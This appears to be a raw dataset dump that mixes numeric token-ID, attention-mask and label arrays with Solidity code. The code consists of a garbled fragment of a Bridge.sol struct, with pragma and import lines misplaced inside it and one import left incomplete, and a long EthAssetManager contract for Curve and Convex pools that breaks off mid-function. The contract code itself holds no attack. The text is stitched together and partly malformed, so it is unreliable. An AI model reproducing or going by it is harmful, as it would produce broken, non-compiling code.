[ 1, 7173, 326, 18872, 1800, 261, 2749, 4638, 316, 512, 2455, 2934, 31073, 11730, 326, 1800, 353, 14483, 1323, 21006, 326, 1800, 353, 4634, 364, 326, 4373, 3879, 18, 225, 389, 80, 3245, 1021, 2502, 6835, 18, 225, 389, 1589, 1318, 1021, 1177, 3301, 18, 225, 389, 19177, 1021, 1018, 9230, 18, 225, 389, 3299, 3039, 1021, 1018, 1800, 18, 225, 389, 7462, 5027, 1021, 4373, 3879, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 467, 3039, 3245, 18, 3039, 3778, 1800, 273, 389, 80, 3245, 18, 588, 3039, 24899, 19177, 1769, 203, 3639, 2254, 5034, 783, 3039, 273, 783, 3039, 12, 3595, 1769, 203, 3639, 467, 3039, 3245, 18, 3039, 3778, 394, 3039, 31, 203, 3639, 309, 261, 67, 3299, 3039, 1648, 783, 3039, 13, 288, 203, 5411, 2254, 10392, 1018, 3039, 273, 4183, 10392, 24899, 3299, 3039, 1769, 203, 5411, 394, 3039, 273, 467, 3039, 3245, 18, 3039, 12, 3299, 3039, 16, 1018, 3039, 16, 4183, 1105, 12, 2629, 18, 5508, 10019, 203, 5411, 394, 3039, 273, 467, 3039, 3245, 18, 3039, 12, 4626, 10392, 12, 2972, 3039, 3631, 4183, 10392, 24899, 3299, 3039, 3631, 4183, 1105, 12, 2629, 18, 5508, 18, 1289, 24899, 7462, 5027, 3719, 1769, 203, 3639, 289, 203, 3639, 444, 3039, 24899, 1589, 1318, 16, 389, 80, 3245, 16, 389, 19177, 16, 394, 3039, 1769, 203, 3639, 327, 394, 3039, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11155111/0x14cb6EDb15c156272B59e7Fd688a1F0b09C999d4/sources/src/Bridge.sol
Struct for representing Substrate -> ETH transfer
struct IncomingReceiptStruct { uint64 substrateBlockNumber; address ethRecipient; uint256 amount; uint256 approvedOn; uint256 processedOn; pragma solidity ^0.8.18; import {Initializable} from "openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol"; import {UUPSUpgradeable} from "openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol"; import {AccessControlUpgradeable} from import {WrappedToken} from "./WrappedToken.sol"; }
3,786,650
[ 1, 3823, 364, 5123, 2592, 701, 340, 317, 512, 2455, 7412, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1697, 26437, 15636, 3823, 288, 203, 565, 2254, 1105, 2373, 340, 1768, 1854, 31, 203, 565, 1758, 13750, 18241, 31, 203, 565, 2254, 5034, 3844, 31, 203, 565, 2254, 5034, 20412, 1398, 31, 203, 565, 2254, 5034, 5204, 1398, 31, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 2643, 31, 203, 5666, 288, 4435, 6934, 97, 628, 315, 3190, 94, 881, 84, 292, 267, 17, 16351, 87, 17, 15097, 429, 19, 16351, 87, 19, 5656, 19, 5471, 19, 4435, 6934, 18, 18281, 14432, 203, 5666, 288, 57, 3079, 55, 10784, 429, 97, 628, 315, 3190, 94, 881, 84, 292, 267, 17, 16351, 87, 17, 15097, 429, 19, 16351, 87, 19, 5656, 19, 5471, 19, 57, 3079, 55, 10784, 429, 18, 18281, 14432, 203, 5666, 288, 16541, 10784, 429, 97, 628, 203, 5666, 288, 17665, 1345, 97, 628, 25165, 17665, 1345, 18, 18281, 14432, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.13; // OpenZeppelin Contracts (last updated v4.6.0-rc.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /// @notice An error used to indicate that an argument passed to a function is illegal or /// inappropriate. /// /// @param message The error message. error IllegalArgument(string message); /// @notice An error used to indicate that a function has encountered an unrecoverable state. /// /// @param message The error message. error IllegalState(string message); /// @notice An error used to indicate that an operation is unsupported. /// /// @param message The error message. error UnsupportedOperation(string message); /// @notice An error used to indicate that a message sender tried to execute a privileged function. /// /// @param message The error message. error Unauthorized(string message); /// @title Multicall /// @author Uniswap Labs /// /// @notice Enables calling multiple methods in a single call to the contract abstract contract Multicall { error MulticallFailed(bytes data, bytes result); function multicall( bytes[] calldata data ) external payable returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { revert MulticallFailed(data[i], result); } results[i] = result; } } } /// @title Mutex /// @author Alchemix Finance /// /// @notice Provides a mutual exclusion lock for implementing contracts. abstract contract Mutex { enum State { RESERVED, UNLOCKED, LOCKED } /// @notice The lock state. State private _lockState = State.UNLOCKED; /// @dev A modifier which acquires the mutex. modifier lock() { _claimLock(); _; _freeLock(); } /// @dev Gets if the mutex is locked. /// /// @return if the mutex is locked. function _isLocked() internal view returns (bool) { return _lockState == State.LOCKED; } /// @dev Claims the lock. If the lock is already claimed, then this will revert. function _claimLock() internal { // Check that the lock has not been claimed yet. if (_lockState != State.UNLOCKED) { revert IllegalState("Lock already claimed"); } // Claim the lock. _lockState = State.LOCKED; } /// @dev Frees the lock. function _freeLock() internal { _lockState = State.UNLOCKED; } } /// @title IERC20TokenReceiver /// @author Alchemix Finance interface IERC20TokenReceiver { /// @notice Informs implementors of this interface that an ERC20 token has been transferred. /// /// @param token The token that was transferred. /// @param value The amount of the token that was transferred. function onERC20Received(address token, uint256 value) external; } /// @title IERC20Metadata /// @author Alchemix Finance interface IERC20Metadata { /// @notice Gets the name of the token. /// /// @return The name. function name() external view returns (string memory); /// @notice Gets the symbol of the token. /// /// @return The symbol. function symbol() external view returns (string memory); /// @notice Gets the number of decimals that the token has. /// /// @return The number of decimals. function decimals() external view returns (uint8); } /// @title IWETH9 interface IWETH9 is IERC20, IERC20Metadata { /// @notice Deposits `msg.value` ethereum into the contract and mints `msg.value` tokens. function deposit() external payable; /// @notice Burns `amount` tokens to retrieve `amount` ethereum from the contract. /// /// @dev This version of WETH utilizes the `transfer` function which hard codes the amount of gas /// that is allowed to be utilized to be exactly 2300 when receiving ethereum. /// /// @param amount The amount of tokens to burn. function withdraw(uint256 amount) external; } interface IConvexBooster { function deposit(uint256 pid, uint256 amount, bool stake) external returns (bool); function withdraw(uint256 pid, uint256 amount) external returns (bool); } interface IConvexRewards { function rewardToken() external view returns (IERC20); function earned(address account) external view returns (uint256); function extraRewards(uint256 index) external view returns (address); function balanceOf(address account) external returns(uint256); function withdraw(uint256 amount, bool claim) external returns (bool); function withdrawAndUnwrap(uint256 amount, bool claim) external returns (bool); function getReward() external returns (bool); function getReward(address recipient, bool claim) external returns (bool); function stake(uint256 amount) external returns (bool); function stakeFor(address account, uint256 amount) external returns (bool); } interface IConvexToken is IERC20 { function maxSupply() external view returns (uint256); function totalCliffs() external view returns (uint256); function reductionPerCliff() external view returns (uint256); } uint256 constant N_COINS = 2; interface IEthStableMetaPool is IERC20 { function get_balances() external view returns (uint256[N_COINS] memory); function coins(uint256 index) external view returns (IERC20); function A() external view returns (uint256); function get_virtual_price() external view returns (uint256); function calc_token_amount( uint256[N_COINS] calldata amounts, bool deposit ) external view returns (uint256 amount); function add_liquidity( uint256[N_COINS] calldata amounts, uint256 minimumMintAmount ) external payable returns (uint256 minted); function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256 dy); function get_dy_underlying( int128 i, int128 j, uint256 dx, uint256[N_COINS] calldata balances ) external view returns (uint256 dy); function exchange( int128 i, int128 j, uint256 dx, uint256 minimumDy ) external payable returns (uint256); function remove_liquidity(uint256 amount, uint256[N_COINS] calldata minimumAmounts) external; function remove_liquidity_imbalance( uint256[N_COINS] calldata amounts, uint256 maximumBurnAmount ) external returns (uint256); function calc_withdraw_one_coin(uint256 tokenAmount, int128 i) external view returns (uint256); function remove_liquidity_one_coin( uint256 tokenAmount, int128 i, uint256 minimumAmount ) external returns (uint256); function get_price_cumulative_last() external view returns (uint256[N_COINS] calldata); function block_timestamp_last() external view returns (uint256); function get_twap_balances( uint256[N_COINS] calldata firstBalances, uint256[N_COINS] calldata lastBalances, uint256 timeElapsed ) external view returns (uint256[N_COINS] calldata); function get_dy( int128 i, int128 j, uint256 dx, uint256[N_COINS] calldata balances ) external view returns (uint256); } /// @title SafeERC20 /// @author Alchemix Finance library SafeERC20 { /// @notice An error used to indicate that a call to an ERC20 contract failed. /// /// @param target The target address. /// @param success If the call to the token was a success. /// @param data The resulting data from the call. This is error data when the call was not a /// success. Otherwise, this is malformed data when the call was a success. error ERC20CallFailed(address target, bool success, bytes data); /// @dev A safe function to get the decimals of an ERC20 token. /// /// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an /// unexpected value. /// /// @param token The target token. /// /// @return The amount of decimals of the token. function expectDecimals(address token) internal view returns (uint8) { (bool success, bytes memory data) = token.staticcall( abi.encodeWithSelector(IERC20Metadata.decimals.selector) ); if (!success || data.length < 32) { revert ERC20CallFailed(token, success, data); } return abi.decode(data, (uint8)); } /// @dev Transfers tokens to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an /// unexpected value. /// /// @param token The token to transfer. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransfer(address token, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.transfer.selector, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Approves tokens for the smart contract. /// /// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an /// unexpected value. /// /// @param token The token to approve. /// @param spender The contract to spend the tokens. /// @param value The amount of tokens to approve. function safeApprove(address token, address spender, uint256 value) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.approve.selector, spender, value) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Transfer tokens from one address to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an /// unexpected value. /// /// @param token The token to transfer. /// @param owner The address of the owner. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.transferFrom.selector, owner, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } } /// @notice A struct used to define initialization parameters. This is not included /// in the contract to prevent naming collisions. struct InitializationParams { address admin; address operator; address rewardReceiver; address transmuterBuffer; IWETH9 weth; IERC20 curveToken; IEthStableMetaPool metaPool; uint256 metaPoolSlippage; IConvexToken convexToken; IConvexBooster convexBooster; IConvexRewards convexRewards; uint256 convexPoolId; } /// @dev The amount of precision that slippage parameters have. uint256 constant SLIPPAGE_PRECISION = 1e4; /// @dev The amount of precision that curve pools use for price calculations. uint256 constant CURVE_PRECISION = 1e18; /// @notice Enumerations for meta pool assets. /// /// @dev Do not change the order of these fields. enum MetaPoolAsset { ETH, ALETH } uint256 constant NUM_META_COINS = 2; /// @title EthAssetManager /// @author Alchemix Finance contract EthAssetManager is Multicall, Mutex, IERC20TokenReceiver { /// @notice Emitted when the admin is updated. /// /// @param admin The admin. event AdminUpdated(address admin); /// @notice Emitted when the pending admin is updated. /// /// @param pendingAdmin The pending admin. event PendingAdminUpdated(address pendingAdmin); /// @notice Emitted when the operator is updated. /// /// @param operator The operator. event OperatorUpdated(address operator); /// @notice Emitted when the reward receiver is updated. /// /// @param rewardReceiver The reward receiver. event RewardReceiverUpdated(address rewardReceiver); /// @notice Emitted when the transmuter buffer is updated. /// /// @param transmuterBuffer The transmuter buffer. event TransmuterBufferUpdated(address transmuterBuffer); /// @notice Emitted when the meta pool slippage is updated. /// /// @param metaPoolSlippage The meta pool slippage. event MetaPoolSlippageUpdated(uint256 metaPoolSlippage); /// @notice Emitted when meta pool tokens are minted. /// /// @param amounts The amounts of each meta pool asset used to mint liquidity. /// @param mintedThreePoolTokens The amount of meta pool tokens minted. event MintMetaPoolTokens(uint256[NUM_META_COINS] amounts, uint256 mintedThreePoolTokens); /// @notice Emitted when meta tokens are minted. /// /// @param asset The asset used to mint meta pool tokens. /// @param amount The amount of the asset used to mint meta pool tokens. /// @param minted The amount of meta pool tokens minted. event MintMetaPoolTokens(MetaPoolAsset asset, uint256 amount, uint256 minted); /// @notice Emitted when meta pool tokens are burned. /// /// @param asset The meta pool asset that was received. /// @param amount The amount of meta pool tokens that were burned. /// @param withdrawn The amount of the asset that was withdrawn. event BurnMetaPoolTokens(MetaPoolAsset asset, uint256 amount, uint256 withdrawn); /// @notice Emitted when meta pool tokens are deposited into convex. /// /// @param amount The amount of meta pool tokens that were deposited. /// @param success If the operation was successful. event DepositMetaPoolTokens(uint256 amount, bool success); /// @notice Emitted when meta pool tokens are withdrawn from convex. /// /// @param amount The amount of meta pool tokens that were withdrawn. /// @param success If the operation was successful. event WithdrawMetaPoolTokens(uint256 amount, bool success); /// @notice Emitted when convex rewards are claimed. /// /// @param success If the operation was successful. /// @param amountCurve The amount of curve tokens sent to the reward recipient. /// @param amountConvex The amount of convex tokens sent to the reward recipient. event ClaimRewards(bool success, uint256 amountCurve, uint256 amountConvex); /// @notice Emitted when ethereum is sent to the transmuter buffer. /// /// @param amount The amount of ethereum that was reclaimed. event ReclaimEth(uint256 amount); /// @notice Emitted when a token is swept to the admin. /// /// @param token The token that was swept. /// @param amount The amount of the token that was swept. event SweepToken(address token, uint256 amount); /// @notice Emitted when ethereum is swept to the admin. /// /// @param amount The amount of the token that was swept. event SweepEth(uint256 amount); /// @notice The admin. address public admin; /// @notice The current pending admin. address public pendingAdmin; /// @notice The operator. address public operator; // @notice The reward receiver. address public rewardReceiver; /// @notice The transmuter buffer. address public transmuterBuffer; /// @notice The wrapped ethereum token. IWETH9 public weth; /// @notice The curve token. IERC20 public immutable curveToken; /// @notice The meta pool contract. IEthStableMetaPool public immutable metaPool; /// @notice The amount of slippage that will be tolerated when depositing and withdrawing assets /// from the meta pool. In units of basis points. uint256 public metaPoolSlippage; /// @notice The convex token. IConvexToken public immutable convexToken; /// @notice The convex booster contract. IConvexBooster public immutable convexBooster; /// @notice The convex rewards contract. IConvexRewards public immutable convexRewards; /// @notice The convex pool identifier. uint256 public immutable convexPoolId; /// @dev A cache of the tokens that the meta pool supports. IERC20[NUM_META_COINS] private _metaPoolAssetCache; /// @dev A modifier which reverts if the message sender is not the admin. modifier onlyAdmin() { if (msg.sender != admin) { revert Unauthorized("Not admin"); } _; } /// @dev A modifier which reverts if the message sender is not the operator. modifier onlyOperator() { if (msg.sender != operator) { revert Unauthorized("Not operator"); } _; } constructor(InitializationParams memory params) { admin = params.admin; operator = params.operator; rewardReceiver = params.rewardReceiver; transmuterBuffer = params.transmuterBuffer; weth = params.weth; curveToken = params.curveToken; metaPool = params.metaPool; metaPoolSlippage = params.metaPoolSlippage; convexToken = params.convexToken; convexBooster = params.convexBooster; convexRewards = params.convexRewards; convexPoolId = params.convexPoolId; for (uint256 i = 0; i < NUM_META_COINS; i++) { _metaPoolAssetCache[i] = params.metaPool.coins(i); if (_metaPoolAssetCache[i] == IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) { _metaPoolAssetCache[i] = weth; } } emit AdminUpdated(admin); emit OperatorUpdated(operator); emit RewardReceiverUpdated(rewardReceiver); emit TransmuterBufferUpdated(transmuterBuffer); emit MetaPoolSlippageUpdated(metaPoolSlippage); } receive() external payable { } /// @notice Gets the amount of meta pool tokens that this contract has in reserves. /// /// @return The reserves. function metaPoolReserves() external view returns (uint256) { return metaPool.balanceOf(address(this)); } /// @notice Gets the amount of a meta pool asset that this contract has in reserves. /// /// @param asset The meta pool asset. /// /// @return The reserves. function metaPoolAssetReserves(MetaPoolAsset asset) external view returns (uint256) { IERC20 token = getTokenForMetaPoolAsset(asset); if (asset == MetaPoolAsset.ETH) { return address(this).balance + token.balanceOf(address(this)); } return token.balanceOf(address(this)); } /// @notice Gets the amount of ethereum that one alETH is worth. /// /// @return The amount of the underlying token. function exchangeRate() public view returns (uint256) { IERC20 alETH = getTokenForMetaPoolAsset(MetaPoolAsset.ALETH); uint256[NUM_META_COINS] memory metaBalances = metaPool.get_balances(); return metaPool.get_dy( int128(uint128(uint256(MetaPoolAsset.ALETH))), int128(uint128(uint256(MetaPoolAsset.ETH))), 10**SafeERC20.expectDecimals(address(alETH)), metaBalances ); } /// @notice Gets the amount of curve tokens and convex tokens that can be claimed. /// /// @return amountCurve The amount of curve tokens available. /// @return amountConvex The amount of convex tokens available. function claimableRewards() public view returns (uint256 amountCurve, uint256 amountConvex) { amountCurve = convexRewards.earned(address(this)); amountConvex = _getEarnedConvex(amountCurve); } /// @notice Gets the ERC20 token associated with a meta pool asset. /// /// @param asset The asset to get the token for. /// /// @return The token. function getTokenForMetaPoolAsset(MetaPoolAsset asset) public view returns (IERC20) { uint256 index = uint256(asset); if (index >= NUM_META_COINS) { revert IllegalArgument("Asset index out of bounds"); } return _metaPoolAssetCache[index]; } /// @notice Begins the 2-step process of setting the administrator. /// /// The caller must be the admin. Setting the pending timelock to the zero address will stop /// the process of setting a new timelock. /// /// @param value The value to set the pending timelock to. function setPendingAdmin(address value) external onlyAdmin { pendingAdmin = value; emit PendingAdminUpdated(value); } /// @notice Completes the 2-step process of setting the administrator. /// /// The pending admin must be set and the caller must be the pending admin. After this function /// is successfully executed, the admin will be set to the pending admin and the pending admin /// will be reset. function acceptAdmin() external { if (pendingAdmin == address(0)) { revert IllegalState("Pending admin unset"); } if (pendingAdmin != msg.sender) { revert Unauthorized("Not pending admin"); } admin = pendingAdmin; pendingAdmin = address(0); emit AdminUpdated(admin); emit PendingAdminUpdated(address(0)); } /// @notice Sets the operator. /// /// The caller must be the admin. /// /// @param value The value to set the admin to. function setOperator(address value) external onlyAdmin { operator = value; emit OperatorUpdated(value); } /// @notice Sets the reward receiver. /// /// @param value The value to set the reward receiver to. function setRewardReceiver(address value) external onlyAdmin { rewardReceiver = value; emit RewardReceiverUpdated(value); } /// @notice Sets the transmuter buffer. /// /// @param value The value to set the transmuter buffer to. function setTransmuterBuffer(address value) external onlyAdmin { transmuterBuffer = value; emit TransmuterBufferUpdated(value); } /// @notice Sets the slippage that will be tolerated when depositing and withdrawing meta pool /// assets. The slippage has a resolution of 6 decimals. /// /// The operator is allowed to set the slippage because it is a volatile parameter that may need /// fine adjustment in a short time window. /// /// @param value The value to set the slippage to. function setMetaPoolSlippage(uint256 value) external onlyOperator { if (value > SLIPPAGE_PRECISION) { revert IllegalArgument("Slippage not in range"); } metaPoolSlippage = value; emit MetaPoolSlippageUpdated(value); } /// @notice Mints meta pool tokens with a combination of assets. /// /// @param amounts The amounts of the assets to deposit. /// /// @return minted The number of meta pool tokens minted. function mintMetaPoolTokens( uint256[NUM_META_COINS] calldata amounts ) external lock onlyOperator returns (uint256 minted) { return _mintMetaPoolTokens(amounts); } /// @notice Mints meta pool tokens with an asset. /// /// @param asset The asset to deposit into the meta pool. /// @param amount The amount of the asset to deposit. /// /// @return minted The number of meta pool tokens minted. function mintMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256 minted) { return _mintMetaPoolTokens(asset, amount); } /// @notice Burns meta pool tokens to withdraw an asset. /// /// @param asset The asset to withdraw. /// @param amount The amount of meta pool tokens to burn. /// /// @return withdrawn The amount of the asset withdrawn from the pool. function burnMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256 withdrawn) { return _burnMetaPoolTokens(asset, amount); } /// @notice Deposits and stakes meta pool tokens into convex. /// /// @param amount The amount of meta pool tokens to deposit. /// /// @return success If the tokens were successfully deposited. function depositMetaPoolTokens( uint256 amount ) external lock onlyOperator returns (bool success) { return _depositMetaPoolTokens(amount); } /// @notice Withdraws and unwraps meta pool tokens from convex. /// /// @param amount The amount of meta pool tokens to withdraw. /// /// @return success If the tokens were successfully withdrawn. function withdrawMetaPoolTokens( uint256 amount ) external lock onlyOperator returns (bool success) { return _withdrawMetaPoolTokens(amount); } /// @notice Claims convex, curve, and auxiliary rewards. /// /// @return success If the claim was successful. function claimRewards() external lock onlyOperator returns (bool success) { success = convexRewards.getReward(); uint256 curveBalance = curveToken.balanceOf(address(this)); uint256 convexBalance = convexToken.balanceOf(address(this)); SafeERC20.safeTransfer(address(curveToken), rewardReceiver, curveBalance); SafeERC20.safeTransfer(address(convexToken), rewardReceiver, convexBalance); emit ClaimRewards(success, curveBalance, convexBalance); } /// @notice Flushes meta pool assets into convex by minting meta pool tokens using the assets, /// and then depositing the meta pool tokens into convex. /// /// This function is provided for ease of use. /// /// @param amounts The amounts of the meta pool assets to flush. /// /// @return The amount of meta pool tokens deposited into convex. function flush( uint256[NUM_META_COINS] calldata amounts ) external lock onlyOperator returns (uint256) { uint256 mintedMetaPoolTokens = _mintMetaPoolTokens(amounts); if (!_depositMetaPoolTokens(mintedMetaPoolTokens)) { revert IllegalState("Deposit into convex failed"); } return mintedMetaPoolTokens; } /// @notice Flushes a meta pool asset into convex by minting meta pool tokens using the asset, /// and then depositing the meta pool tokens into convex. /// /// This function is provided for ease of use. /// /// @param asset The meta pool asset to flush. /// @param amount The amount of the meta pool asset to flush. /// /// @return The amount of meta pool tokens deposited into convex. function flush( MetaPoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256) { uint256 mintedMetaPoolTokens = _mintMetaPoolTokens(asset, amount); if (!_depositMetaPoolTokens(mintedMetaPoolTokens)) { revert IllegalState("Deposit into convex failed"); } return mintedMetaPoolTokens; } /// @notice Recalls ethereum into reserves by withdrawing meta pool tokens from convex and /// burning the meta pool tokens for ethereum. /// /// This function is provided for ease of use. /// /// @param amount The amount of the meta pool tokens to withdraw from convex and burn. /// /// @return The amount of ethereum recalled. function recall(uint256 amount) external lock onlyOperator returns (uint256) { if (!_withdrawMetaPoolTokens(amount)) { revert IllegalState("Withdraw from convex failed"); } return _burnMetaPoolTokens(MetaPoolAsset.ETH, amount); } /// @notice Reclaims a three pool asset to the transmuter buffer. /// /// @param amount The amount of ethereum to reclaim. function reclaimEth(uint256 amount) public lock onlyAdmin { uint256 balance; if (amount > (balance = weth.balanceOf(address(this)))) weth.deposit{value: amount - balance}(); SafeERC20.safeTransfer(address(weth), transmuterBuffer, amount); IERC20TokenReceiver(transmuterBuffer).onERC20Received(address(weth), amount); emit ReclaimEth(amount); } /// @notice Sweeps a token out of the contract to the admin. /// /// @param token The token to sweep. /// @param amount The amount of the token to sweep. function sweepToken(address token, uint256 amount) external lock onlyAdmin { SafeERC20.safeTransfer(address(token), msg.sender, amount); emit SweepToken(token, amount); } /// @notice Sweeps ethereum out of the contract to the admin. /// /// @param amount The amount of ethereum to sweep. /// /// @return result The result from the call to transfer ethereum. function sweepEth( uint256 amount ) external lock onlyAdmin returns (bytes memory result) { (bool success, bytes memory result) = admin.call{value: amount}(new bytes(0)); if (!success) { revert IllegalState("Transfer failed"); } emit SweepEth(amount); return result; } /// @inheritdoc IERC20TokenReceiver /// /// @dev This function is required in order to receive tokens from the conduit. function onERC20Received(address token, uint256 value) external { /* noop */ } /// @dev Gets the amount of convex that will be minted for an amount of curve tokens. /// /// @param amountCurve The amount of curve tokens. /// /// @return The amount of convex tokens. function _getEarnedConvex(uint256 amountCurve) internal view returns (uint256) { uint256 supply = convexToken.totalSupply(); uint256 cliff = supply / convexToken.reductionPerCliff(); uint256 totalCliffs = convexToken.totalCliffs(); if (cliff >= totalCliffs) return 0; uint256 reduction = totalCliffs - cliff; uint256 earned = amountCurve * reduction / totalCliffs; uint256 available = convexToken.maxSupply() - supply; return earned > available ? available : earned; } /// @dev Mints meta pool tokens with a combination of assets. /// /// @param amounts The amounts of the assets to deposit. /// /// @return minted The number of meta pool tokens minted. function _mintMetaPoolTokens( uint256[NUM_META_COINS] calldata amounts ) internal returns (uint256 minted) { 